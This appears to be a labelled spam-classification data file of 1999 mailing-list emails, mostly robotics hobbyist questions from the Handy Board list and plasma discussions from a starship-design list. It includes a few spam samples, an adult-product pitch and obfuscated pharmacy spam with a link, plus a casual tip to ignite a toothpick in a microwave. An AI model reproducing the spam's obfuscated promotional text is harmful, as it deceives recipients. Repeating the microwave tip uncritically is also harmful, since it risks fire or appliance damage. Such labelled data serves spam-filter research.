Maria Vescovi mnp55@iol.it > To Handyboard mail list > 15 August 1999 > > Hi to all, > I am looking for a supplier, best if on-line, to buy some > microcontroller > 68HC11. > > Some body can help me ??? > > I alredy try to Digikey - Mouser - Jameco - JDR - Maplin but they do > not have > in stock any 68HC11A8 or E2 E9. > > ByBy ",0,1 Gregory Hayward ,"Nick Taylor , GMV , handyboard@media.mit.edu","Mon, 16 Aug 1999 08:34:37 -0500",Re: Microcontroller supplier wanted,"One of the best ways I have found to find parts on the web is with a program called PARTMINER V.3 You can find it at: http://www.partminer.com/Pm_HomePage/index.asp You put in what you are looking for and the program looks at multiple sites and pulls up the data sheet if available. A very good little program. It works with you browser. Then you can see who has what and how much. Good luck. Greg H ",0,1 """Curt Mills, WE7U"" ",Jonathan Pennington ,"Mon, 16 Aug 1999 10:47:22 -0700",Re: Public Functions,"On Sun, 15 Aug 1999, Jonathan Pennington wrote: > (If there's a way to run IC on my box without a > board connected to the serial port, I'd do it). Note that I haven't tried this, and chances are it won't work, but the idea struck me anyway (ouch!): With the compiler patches for gcc-2.9.5, there are patches for the GDB debugger to add debugging, disassembly, and emulation capabilities for the HC11. While the emulation capabilities may not be enough to run IC, who knows... they just might. http://www.eskimo.com/~archer or ftp://ftp.eskimo.com/u/a/archer Perhaps you could even apply the patches to the Cygwin tools and get a development system running this way off of Windows. I use Linux myself. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 Christopher Prosser ,handyboard@media.mit.edu,"Mon, 16 Aug 1999 12:37:53 -0700",HB to Midi connector?,"Hi Folks, I'm sitting here with my Handyboard, a Theramin, and an almost complete Fatman (midi controlled analog synth) that I want to interconnect together. The first problem I am trying to solve how to connect the HB as a midi controller. I've gotten the MIDI code from Interactive Art with the HB . While it mentions that you can connect the HB directly to Midi it doesn't provide a design for the connector to do so. I hopped on over to another link I had around for use with my PIC that shows how to connect a PIC directly to Midi . For final reference I checked out the Midi Fanatics Brainwashing Center in case I missed anything and I still can't quite figure it out. The gist of what I was going to do: * Use two connectors, one phone jack (RJ11) to get to the serial info to hook up to the midi connector. * Hook up TxD to Pin 5 on the Midi connector. * Hook up pin 4 on the midi connector to ground. [Pins 1,2, and 3, are unused on Midi In on the FatMan]. Should this do it and not fry anything? Will the 68HC11 be able to source enough extra current to run the optoisolator on the other end of the Midi link? On a similar note how would I go about hooking up the control voltage outputs from the Theramax to the HB. It seems I would tie the grounds of the HB and the Theramin together. Then place a resistor in series with the CV such that the voltage divider formed by it and the 47K resistor on the board was negligible. Any sugesstions for the size of this resistor? Thanks for all your help! -chris prosser",0,1 Ricardo Garcia ,handyboard@media.mit.edu,"Mon, 16 Aug 1999 13:20:41 -0700",74LS instead of HC chips in the handyboard,"Question. After having ruined more than once a couple of chips, i decided to purchase a 74LS373 chip instead of the HC373. I already replaced the HC04 and found no apparent problems. But here i'm talking about the memory latch. Is this OK, provided i don't replace any other chips in the HandyBoard? Thanks! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Joshua Stein ,allusers@emerald.ucsc.edu,"Mon, 16 Aug 1999 16:54:12 -0700",USEFUL METRIC CONVERSIONS,"SOME USEFUL METRIC CONVERSIONS 1 million microphones = 1 megaphone 1 million bicycles = 2 megacycles 2000 mockingbirds = two kilomockingbirds 10 cards = 1 decacards 1/2 lavatory = 1 demijohn 1 millionth of a fish = 1 microfiche 453.6 graham crackers = 1 pound cake 10 rations = 1 decoration 10 millipedes = 1 centipede 3 1/3 tridents = 1 decadent 10 monologs = 5 dialogues 2 monograms = 1 diagram 8 nickels = 2 paradigms 2 baby sitters = 1 gramma grampa ****************************************************************************** Joshua S. Stein tel(831)459-2838 Earth Sciences Dept. fax(831)459-3074 University of California email: jstein@earthsci.ucsc.edu 1156 High Street field: marine hydrogeology Santa Cruz, CA 95064 heat flow http://emerald.ucsc.edu/~josh ****************************************************************************** ",0,1 Alex Stewart ,handyboard@media.mit.edu,"Mon, 16 Aug 1999 16:32:49 -0700",Any one know were to find SN754410NE H bridge motor driver??,"Recently blew both SN754410NE on a gleason board , have been using servo since then but would like to get the SN754410NE's replaced. have look at Texas Instruments but it 4.00 at a minumnum of 100 chips. Any one know were one could obtain just 2 SN754410NE's ? thanx a bunch Alex _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 """Patrick P.K. Hui (Robot Store HK)"" ",Alex Stewart ,"Tue, 17 Aug 1999 08:08:33 +0800",Re: Any one know were to find SN754410NE H bridge motor driver??,"Have you tried http://www.acroname.com ? Best Regards, Patrick Hui Robot Store (HK) http://www.RobotStoreHK.com -----Original Message----- From: Alex Stewart To: handyboard@media.mit.edu Date: Tuesday, August 17, 1999 7:56 AM Subject: Any one know were to find SN754410NE H bridge motor driver?? >Recently blew both SN754410NE on a gleason board , have been using servo >since then but would like to get the SN754410NE's replaced. have look at >Texas Instruments but it 4.00 at a minumnum of 100 chips. > >Any one know were one could obtain just 2 SN754410NE's ? >thanx a bunch >Alex > > >_______________________________________________________________ >Get Free Email and Do More On The Web. Visit http://www.msn.com >",0,1 Peter Hamer ,handyboard@media.mit.edu,"Tue, 17 Aug 1999 08:11:58 +0800",SN754410NE H bridge motor driver??,"Hi, Acroname have them. www.acroname.com Robot-Oz in Australia also have a small quantity. www.robotoz.com.au Peter Hamer ><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> Peter Hamer Dept. of Human Movement & Exercise Science DipPhys,BPE(Hons),MEd,FASMF University of Western Australia Lecturer Nedlands, Perth, 6907 Clinical Anatomy/Biomechanics Western Australia Ph: +61 8 9380-2365 E-mail: Peter.Hamer@uwa.edu.au Fax: +61 8 9380-1039 0o0o0o0o0o0o0o0o0o0o0o0o0o00o0o00o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 16 Aug 1999 17:28:34 -0700",Re: Any one know were to find SN754410NE H bridge motor driver??,"Alex - - Give Acroname a try, US$5 each or US$12 for three. http://www.acroname.com/robotics/parts/ordertool1.html Good luck, - Nick - Alex Stewart wrote: > > Recently blew both SN754410NE on a gleason board , have been using servo > since then but would like to get the SN754410NE's replaced. have look at > Texas Instruments but it 4.00 at a minumnum of 100 chips. > > Any one know were one could obtain just 2 SN754410NE's ? > thanx a bunch > Alex ",0,1 Paul DaCosta ,handyboard@media.mit.edu,"Mon, 16 Aug 1999 22:40:35 -0400",ASSEMBLY,"TO ANYONE: IF I WERE TO PURCHASE AN UNASSEMBLED HANDYBOARD OR EXTENTION BOARD, WOULD IT BE STRAIGHT FOWARD AND RELATIVELY EASY TO ASSEMBLE IT? ANY SUGGESTIONS ANYONE? ANY WISE ADVICES?? WHAT KIND OF TOOLS WOULD I NEED? WOULD A HIGH SCHOOL STUDENT BE ABLE TO DO IT? IS IT EASY WHEN FOLLOWING THE ASSEMBLY MANUAL?? HELP ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 16 Aug 1999 20:52:15 -0700",Re: ASSEMBLY,"Hi Paul - - - Yes, a high school student should be able to assemble a HandyBoard IF: 1. You are VERY good at exactly following instructions. One mistake could easily make you lose your entire investment! 2. You have a LOT of experience assembling and soldering electronic kits with very small, closely spaced components. One mistake could easily make you lose your entire investment! I've had a HandyBoard for about a year now, and just this past weekend ordered a second unit ... both from Gleason Research ... and I've been doing electronics for many years. ==> http://www.gleasonresearch.com/ Please read the following pages carefully before deciding how to go: http://el.www.media.mit.edu/projects/handy-board/hardware/assembly.html http://el.www.media.mit.edu/projects/handy-board/howtoget/vendors.html http://el.www.media.mit.edu/projects/handy-board/howtoget/cmponent.html If I were you, I would only consider assembling a HB if I felt very confident that I fully met the two experience requirements listed above, AND had a very experienced microcontroller technician available to give lots of assistance in trouble shooting in the likely event that there is a problem. I understand that Patrick Hui ships a very well produced board at a good price. ==> http://home.hkstar.com/~huip/ Good luck and have fun, - Nick - Paul DaCosta wrote: > > TO ANYONE: > > IF I WERE TO PURCHASE AN UNASSEMBLED HANDYBOARD OR EXTENTION BOARD, > WOULD IT BE STRAIGHT FOWARD AND RELATIVELY EASY TO ASSEMBLE IT? ANY > SUGGESTIONS ANYONE? ANY WISE ADVICES?? WHAT KIND OF TOOLS WOULD I NEED? > WOULD A HIGH SCHOOL STUDENT BE ABLE TO DO IT? IS IT EASY WHEN FOLLOWING > THE ASSEMBLY MANUAL?? > > HELP ",0,1 Paul DaCosta ,handyboard@media.mit.edu,"Tue, 17 Aug 1999 00:15:49 -0400",used handy board,"anyone willing to sell a used handy board???? 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Lindberg"" ",Fred Reyes ,"Thu, 19 Aug 1999 09:48:16 -0700",Re: starship-design: plasma sources,"Fred, I'm no expert on plasma physics, but here are some ways that immediately spring to mind: 1) Spark gap + RF heating of the air. Plasmas couple very well to RF, and most of the energy gets turned into heat. 2)High temp combustion + RF. Sometime, bend a toothpick so that it stands with one end pointing up, light that end, and put it in your microwave. I think they're kind of pretty. Also, the Oxy-Acetylene reaction is the hottest type of combustion I know of, at a few thousand degrees, Kind of dangerous stuff though. 3) In general, the more rarified the air, the lower the temperature required for ionization. Maybe run the air though a throat at high speeed. On Thu, 19 Aug 1999, Fred Reyes wrote: > I would greatly appreciate it if anyone can give me a list of ways to > convert plain ordinary air into plasma. It does not have to be really high > temperature originally, I can take care of that myself. However, the power > required to convert air into plasma has to be kept as low as possible. If > it is not possible to convert regular air, some alternatives would be nice. > > Thank you, > Fred Reyes > > > > ______________________________ > How to find me: > AOLIM: Warlord400 > Personal Site: > http://www.go.to/fredreyes > > ______________________________________________________ > Get your free web-based email at http://www.xoom.com > Birthday? Anniversary? Send FREE animated greeting > cards for any occasion at http://greetings.xoom.com > > > >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2244"" ""Thursday"" ""19"" ""August"" ""1999"" ""15:16:10"" ""-0400"" ""Curtis L. Manges"" ""clmanges@worldnet.att.net"" nil ""53"" ""Re: starship-design: plasma sources"" ""^From:"" nil nil ""8"" nil ""starship-design: plasma sources"" nil nil nil] nil) Content-Length: 2244 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id MAA10450 for starship-design-outgoing; Thu, 19 Aug 1999 12:17:26 -0700 (PDT) Received: from mtiwmhc03.worldnet.att.net (mtiwmhc03.worldnet.att.net [204.127.131.38]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id MAA10445 for ; Thu, 19 Aug 1999 12:17:25 -0700 (PDT) Received: from worldnet.att.net ([12.76.123.55]) by mtiwmhc03.worldnet.att.net (InterMail v03.02.07.07 118-134) with ESMTP id <19990819191655.ZYKU5700@worldnet.att.net>; Thu, 19 Aug 1999 19:16:55 +0000 Message-ID: <37BC57FA.85A3C7E8@worldnet.att.net> X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Precedence: bulk Reply-To: ""Curtis L. Manges"" From: ""Curtis L. Manges"" Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" , reyesfred@xoomail.com Subject: Re: starship-design: plasma sources Date: Thu, 19 Aug 1999 15:16:10 -0400 The hottest thing I recall seeing was a plasma torch, used to cut heavy stainless steel plate. It used three kinds of gas, and I'm not positive what they were; I think one was inert (argon most likely) and another might have been nitrogen (!). This thing used a large welding machine for a power supply, likely pulling from 300 to 600 amps, and the welding arc created the plasma. Again, I'm uncertain, but I'd guess at nozzle temps above 7000� F. Ceramic nozzle, water-cooled head assembly. Call a welding supply shop for details. Oh, and get some good ear protectors; these things make a hellish racket. Hope this helps you. Curtis ""N. Lindberg"" wrote: > Fred, > I'm no expert on plasma physics, but here are some ways that > immediately spring to mind: > 1) Spark gap + RF heating of the air. Plasmas couple very well to > RF, and most of the energy gets turned into heat. > 2)High temp combustion + RF. Sometime, bend a toothpick so that > it stands with one end pointing up, light that end, and put it in your > microwave. I think they're kind of pretty. Also, the Oxy-Acetylene > reaction is the hottest type of combustion I know of, at a few thousand > degrees, Kind of dangerous stuff though. > 3) In general, the more rarified the air, the lower the > temperature required for ionization. Maybe run the air though a throat at > high speeed. > > On Thu, 19 Aug 1999, Fred Reyes wrote: > > > I would greatly appreciate it if anyone can give me a list of ways to > > convert plain ordinary air into plasma. It does not have to be really high > > temperature originally, I can take care of that myself. However, the power > > required to convert air into plasma has to be kept as low as possible. If > > it is not possible to convert regular air, some alternatives would be nice. > > > > Thank you, > > Fred Reyes > > > > > > > > ______________________________ > > How to find me: > > AOLIM: Warlord400 > > Personal Site: > > http://www.go.to/fredreyes > > > > ______________________________________________________ > > Get your free web-based email at http://www.xoom.com > > Birthday? Anniversary? Send FREE animated greeting > > cards for any occasion at http://greetings.xoom.com > > > > > > >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2556"" ""Thursday"" ""19"" ""August"" ""1999"" ""12:33:06"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""66"" ""Re: starship-design: plasma sources"" ""^From:"" nil nil ""8"" nil ""starship-design: plasma sources"" nil nil nil] nil) Content-Length: 2556 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id MAA14994 for starship-design-outgoing; Thu, 19 Aug 1999 12:33:10 -0700 (PDT) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id MAA14988 for ; Thu, 19 Aug 1999 12:33:09 -0700 (PDT) Received: from dante41.u.washington.edu (nlindber@dante41.u.washington.edu [140.142.15.201]) by jason02.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA14056; Thu, 19 Aug 1999 12:33:07 -0700 Received: from localhost (nlindber@localhost) by dante41.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA33522; Thu, 19 Aug 1999 12:33:06 -0700 In-Reply-To: <37BC57FA.85A3C7E8@worldnet.att.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by darkwing.uoregon.edu id MAA14989 Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: ""Curtis L. Manges"" cc: ""starship-design@lists.uoregon.edu"" , reyesfred@xoomail.com Subject: Re: starship-design: plasma sources Date: Thu, 19 Aug 1999 12:33:06 -0700 (PDT) Fred, Do you mind if I ask what the application is? I'm always interested to hear 'bout other list members' projects. Best Regards, Nels Lindberg On Thu, 19 Aug 1999, Curtis L. Manges wrote: > The hottest thing I recall seeing was a plasma torch, used to cut > heavy stainless steel plate. It used three kinds of gas, and I'm not > positive what they were; I think one was inert (argon most likely) and > another might have been nitrogen (!). This thing used a large welding > machine for a power supply, likely pulling from 300 to 600 amps, and > the welding arc created the plasma. Again, I'm uncertain, but I'd > guess at nozzle temps above 7000� F. Ceramic nozzle, water-cooled head > assembly. Call a welding supply shop for details. Oh, and get some > good ear protectors; these things make a hellish racket. Hope this > helps you. > > Curtis > > ""N. Lindberg"" wrote: > > > Fred, > > I'm no expert on plasma physics, but here are some ways that > > immediately spring to mind: > > 1) Spark gap + RF heating of the air. Plasmas couple very well to > > RF, and most of the energy gets turned into heat. > > 2)High temp combustion + RF. Sometime, bend a toothpick so that > > it stands with one end pointing up, light that end, and put it in your > > microwave. I think they're kind of pretty. Also, the Oxy-Acetylene > > reaction is the hottest type of combustion I know of, at a few thousand > > degrees, Kind of dangerous stuff though. > > 3) In general, the more rarified the air, the lower the > > temperature required for ionization. Maybe run the air though a throat at > > high speeed. > > > > On Thu, 19 Aug 1999, Fred Reyes wrote: > > > > > I would greatly appreciate it if anyone can give me a list of ways to > > > convert plain ordinary air into plasma. It does not have to be really high > > > temperature originally, I can take care of that myself. However, the power > > > required to convert air into plasma has to be kept as low as possible. If > > > it is not possible to convert regular air, some alternatives would be nice. > > > > > > Thank you, > > > Fred Reyes > > > > > > > > > > > > ______________________________ > > > How to find me: > > > AOLIM: Warlord400 > > > Personal Site: > > > http://www.go.to/fredreyes > > > > > > ______________________________________________________ > > > Get your free web-based email at http://www.xoom.com > > > Birthday? Anniversary? Send FREE animated greeting > > > cards for any occasion at http://greetings.xoom.com > > > > > > > > > > > >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""762"" ""Thursday"" ""19"" ""August"" ""1999"" ""19:19:23"" ""-0500"" ""Kevin Houston"" ""Kevin@urly-bird.com"" nil ""16"" ""Re: starship-design: plasma sources"" ""^From:"" nil nil ""8"" nil ""starship-design: plasma sources"" nil nil nil] nil) Content-Length: 762 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA27745 for starship-design-outgoing; Thu, 19 Aug 1999 17:20:27 -0700 (PDT) Received: from web12.ntx.net (web12.ntx.net [209.1.144.158]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA27736 for ; Thu, 19 Aug 1999 17:20:26 -0700 (PDT) Received: from liberty (ip149.minneapolis5.mn.pub-ip.psi.net [38.27.48.149]) by web12.ntx.net (8.8.5/8.7.3) with SMTP id RAA13332 for ; Thu, 19 Aug 1999 17:20:49 -0700 (PDT) Message-Id: <4.1.19990819191653.026ed0e0@www.urly-bird.com> X-Sender: web121aa@www.urly-bird.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 In-Reply-To: References: <199908191556.IAA00384@www2.xoommail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Kevin Houston From: Kevin Houston Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: plasma sources Date: Thu, 19 Aug 1999 19:19:23 -0500 I tried the microwave method, and it's pretty cool, but I worry that it may damage my 'wave. Isn't a plasma not very different from a piece of tinfoil in this respect? At 09:48 AM 8/19/99 -0700, N. Lindberg wrote: >Fred, > I'm no expert on plasma physics, but here are some ways that >immediately spring to mind: > 1) Spark gap + RF heating of the air. Plasmas couple very well to >RF, and most of the energy gets turned into heat. > 2)High temp combustion + RF. Sometime, bend a toothpick so that >it stands with one end pointing up, light that end, and put it in your >microwave. I think they're kind of pretty. Also, the Oxy-Acetylene >reaction is the hottest type of combustion I know of, at a few thousand >degrees, Kind of dangerous stuff though.",0,1 Abraham ,westall@cs.clemson.edu,"Thu, 18 Jul 1996 22:03:58 +0500",news from Abraham ,"Heya! Has your cum ever dribbled and you wish it had shot out? Have you ever wanted to impress your girl with a huge cumshot? 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Lindberg wrote: > >Fred, > > I'm no expert on plasma physics, but here are some > ways that > >immediately spring to mind: > > 1) Spark gap + RF heating of the air. Plasmas > couple very well to > >RF, and most of the energy gets turned into heat. > > 2)High temp combustion + RF. Sometime, bend a > toothpick so that > >it stands with one end pointing up, light that end, > and put it in your > >microwave. I think they're kind of pretty. Also, > the Oxy-Acetylene > >reaction is the hottest type of combustion I know > of, at a few thousand > >degrees, Kind of dangerous stuff though. Oxy-Acetylene is plasma??? Well, anyway, how energetic has the RF to be??(It'd be a cool project... make your own plasma for less than 15 bucks(�)) And, how can you make the needed RFs(except than with a microwave 8)? === Vive le Qu�bec libre... d� souverainistes!!! __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1121"" ""Friday"" ""20"" ""August"" ""1999"" ""06:30:54"" ""-0700"" ""Fred Reyes"" ""reyesfred@xoommail.com"" nil ""28"" ""starship-design: Plasma Project and strange light"" ""^From:"" nil nil ""8"" nil ""starship-design: Plasma Project and strange light"" nil nil nil] nil) Content-Length: 1121 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id GAA09838 for starship-design-outgoing; Fri, 20 Aug 1999 06:30:53 -0700 (PDT) Received: from www2.xoommail.com (colo01-033.xoom.com [206.132.179.33]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id GAA09833 for ; Fri, 20 Aug 1999 06:30:52 -0700 (PDT) Received: (from service@localhost) by www2.xoommail.com (8.8.8/8.8.8) id GAA29441; Fri, 20 Aug 1999 06:30:54 -0700 Message-Id: <199908201330.GAA29441@www2.xoommail.com> X-Loop: xoommail.com Organization: Reyes Enterprises Precedence: bulk Reply-To: Fred Reyes From: Fred Reyes Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Plasma Project and strange light Date: Fri, 20 Aug 1999 06:30:54 -0700 Well I don't live at my parents home so I don't really have to worry about the microwave. It was a cool thing to see. I have been trying to make my own plasma container for under 100 bucks, but it seems to be a little fruitless. I will continue to try, though. I think I will have to spend a little more.....hehe. Any more ideas on the subject would be greatly appreciated. On a second note, I contacted Britt Scharringhausen from Cornell and asked him about the mysterious light that was posted earlier. It seems that even over the course of three years this thing has not moved enough to decide if it is a ship at relativistic or FTL speeds. I had a thought that may seem a little odd, but maybe feasible. Could it be we are seeing the first ever spotted Wormhole? Fred Reyes ______________________________ How to find me: AOLIM: Warlord400 Personal Site: http://www.go.to/fredreyes ______________________________________________________ Get your free web-based email at http://www.xoom.com Birthday? Anniversary? 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",0,0 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,"handyboard@media.mit.edu, berriah@gel.usherb.ca","Fri, 20 Aug 1999 08:44:43 -0700",Re: as11_ic," See the handyboard web pages under software/contributed at http://el.www.media.mit.edu/projects/handy-board/index.html Regards, Bart Schrijver. ______________________________ Reply Separator _________________________________ Subject: as11_ic Author: Non-HP-berriah (berriah@gel.usherb.ca) at HP-PaloAlto,mimegw2 Date: 8/20/99 7:59 AM HI! I would like to know how i can get the as11_ic program which is used to create the icb binary object programs. Thanks in advance. Said Berri Universite de Sherbrooke, Canada. ",0,1 Ken Feingold ,Handyboard Mailing List ,"Fri, 20 Aug 1999 11:53:59 -0400",runtime error 03," I need some help please debugging a Runtime Error 03. I have two blocks of code that, if run individually, work fine. But if I run them both together as processes, or one immediately following the other, the error results. Because I am disabling pcode and using the serial port, I do not have any more verbose info than what is displayed on the lcd. The manual says this indicates an ""array reference out of bounds"". Does this mean that data that does not match the defined size of a particular array is being passed to it, or does it mean that an array reference is too big for memory? (i.e. - out of which bounds?) Can anyone please explain this error a bit more fully? thanks, Ken ",0,0 Jaron ,Handy Board Mailinglist ,"Thu, 19 Aug 1999 18:57:33 +0200",Lego / Shaft Encoder Tip,"Hi, After some testing and try-ing I found the following solution for a cheap shaft encoder for LEGO use: I glued a cheap Infrared Reflectance Sensor to the middle of the bottom of a 2x3 tile (so the sensor faces downwards) and put two 1x2 tiles on either side next to it. Then I used TipEx (white typewriter flued) to accentuate the 4 sides of a LEGO axle. Positioned the sensor above the axle by clicking it on top of the bar through which the axle went and presto. Using the standard IC drivers everything worked without having to adjust the thresholds... Since the resolution is far from perfect I have put a gear (1:3) between the driving axle and the sensor axle to get 12 ticks per wheel revolution. Happy HandyBoarding Lego-ers! Jaron Paludanus ",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Fri, 20 Aug 1999 13:16:47 -0600",memory latch," I am in the process of assembling a memory and memory latch. But the in the download process it goes fine, but nothing happen when I reboot the board, I had use 3 different memory chips. And no good. Could it be the memory latch? Please help me, I been in this step for 2 months. Dan My web site: http://members.xoom.com/Cool_Robots/CR.html ",0,1 Birthe Swanberg ,handyboard@media.mit.edu,"Fri, 20 Aug 1999 10:03:30 -0700",Re: your VAeLtUM,"Hi X V C A V L P a I I m A e r n A A b L v o a G L i I i z x R I e U t a A S n M ra c http://www.monibulations.com the tiny flashes of fire, and hear the howling and yelping come up faint from far beneath him. Also he could see the glint of the moon on goblin spears and helmets, as long lines of the wicked folk crept down the hillsides from their gate and wound into the wood. Eagles are not kindly birds. Some are cowardly and cruel. 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",1,0 """L. Parker"" ","""Starship-Design (E-mail)"" ","Sat, 21 Aug 1999 08:29:54 -0500",starship-design: Thermonuclear Fusion Propulsion,"For those who like the technical details, as well as a great basic introduction to fusion propulsion in general, this is a more detailed page at the same site: http://infinity.msfc.nasa.gov/Public/ps01/fusion.html Lee Parker >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""143"" ""Saturday"" ""21"" ""August"" ""1999"" ""08:21:32"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""6"" ""starship-design: Plasma/Fusion Engines"" ""^From:"" nil nil ""8"" nil ""starship-design: Plasma/Fusion Engines"" nil nil nil] nil) Content-Length: 143 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id GAA28701 for starship-design-outgoing; Sat, 21 Aug 1999 06:53:02 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id GAA28691 for ; Sat, 21 Aug 1999 06:53:01 -0700 (PDT) Received: from broadsword (p435.gnt.com [204.49.91.51]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id IAA24780 for ; Sat, 21 Aug 1999 08:52:59 -0500 Message-ID: <003301beebdc$632d05a0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Plasma/Fusion Engines Date: Sat, 21 Aug 1999 08:21:32 -0500 Here is a link to a plasma/fusion engine under development by NASA.... http://infinity.msfc.nasa.gov/Public/ps01/fusion_exp.html Lee Parker >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""706"" ""Saturday"" ""21"" ""August"" ""1999"" ""09:06:51"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""26"" ""starship-design: Study Abstract"" ""^From:"" nil nil ""8"" nil ""starship-design: Study Abstract"" nil nil nil] nil) Content-Length: 706 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id HAA00167 for starship-design-outgoing; Sat, 21 Aug 1999 07:16:05 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id HAA00161 for ; Sat, 21 Aug 1999 07:16:03 -0700 (PDT) Received: from broadsword (p435.gnt.com [204.49.91.51]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id JAA26900 for ; Sat, 21 Aug 1999 09:16:01 -0500 Message-ID: <003901beebdf$9afa4580$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_003A_01BEEBB5.B2243D80"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Study Abstract Date: Sat, 21 Aug 1999 09:06:51 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_003A_01BEEBB5.B2243D80 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Second page of the abstracts... http://peaches.niac.usra.edu/studies/9802/slough.html Lee Parker ------=_NextPart_000_003A_01BEEBB5.B2243D80 Content-Type: application/octet-stream; name=""Study Abstract.url"" Content-Disposition: attachment; filename=""Study Abstract.url"" Content-Transfer-Encoding: 7bit [DEFAULT] BASEURL=http://peaches.niac.usra.edu/studies/9802/slough.html [InternetShortcut] URL=http://peaches.niac.usra.edu/studies/9802/slough.html Modified=F0EEDA47DEEBBE0187 ------=_NextPart_000_003A_01BEEBB5.B2243D80-- >From VM Thu Aug 26 09:56:54 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""793"" ""Saturday"" ""21"" ""August"" ""1999"" ""09:02:12"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""28"" ""starship-design: Funded Phase I Studies"" ""^From:"" nil nil ""8"" nil ""starship-design: Funded Phase I Studies"" nil nil nil] nil) Content-Length: 793 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id HAA00155 for starship-design-outgoing; Sat, 21 Aug 1999 07:16:02 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id HAA00145 for ; Sat, 21 Aug 1999 07:16:01 -0700 (PDT) Received: from broadsword (p435.gnt.com [204.49.91.51]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id JAA26891 for ; Sat, 21 Aug 1999 09:15:58 -0500 Message-ID: <003501beebdf$99628e80$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/mixed; 